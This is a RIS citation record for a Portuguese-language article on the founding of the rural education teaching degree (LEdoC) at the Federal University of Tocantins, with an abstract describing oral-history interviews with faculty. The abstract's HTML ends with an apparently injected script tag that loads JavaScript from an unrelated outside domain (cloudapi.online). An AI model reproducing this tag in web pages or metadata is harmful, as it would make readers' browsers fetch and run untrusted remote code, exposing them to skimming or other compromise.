TY - JOUR AU - Gomes, Darlene Araújo AU - Vizolli, Idemar AU - Santos, Jocyléia Santana dos AU - Stephani, Adriana Demite PY - 2017/07/13 Y2 - 2024/03/28 TI - A construção identitária da licenciatura em educação do campo na UFT: perspectivas docentes JF - Revista HISTEDBR On-line JA - Rev. HISTEDBR On-line VL - 17 IS - 1 SE - Artigos DO - 10.20396/rho.v17i71.8645405 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/histedbr/article/view/8645405 SP - 373-396 AB - <p>A pesquisa aqui apresentada relata o processo de implantação do Curso de Licenciatura em Educação do Campo (LEdoC) da Universidade Federal do Tocantins (UFT) nos <em>campi</em> de Arraias e Tocantinópolis e os percursos, desafios e práticas de docentes que participaram desse processo. Através da análise das narrativas destes sujeitos, procurou-se identificar as bases legais, epistemológicas e pedagógicas que fundamentam a LEdoC, assim como, a concepção de Educação do Campo que norteia a práxis educativa nos <em>campi</em>. A metodologia utilizada para coleta de dados foi o registro da história oral, que se situa na perspectiva da abordagem qualitativa. Em conformidade com os procedimentos desta abordagem, confeccionou-se um roteiro de entrevistas com questões pré-estabelecidas, no intento de ouvir os docentes sobre seu protagonismo no processo de construção da LEdoC. As entrevistas foram transcritas e incorporadas ao texto para apreender dos relatos, suas trajetórias e percepções sobre o contexto em que atuam. Desvelou-se que o curso privilegia a cidadania e a inclusão social, colocando os sujeitos do campo no processo produtivo com justiça, bem estar social e econômico e que a sua materialização demanda de seus executores novas posturas, frente aos conflitos e enfrentamentos de se colocar os objetivos da Educação do Campo em prática.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -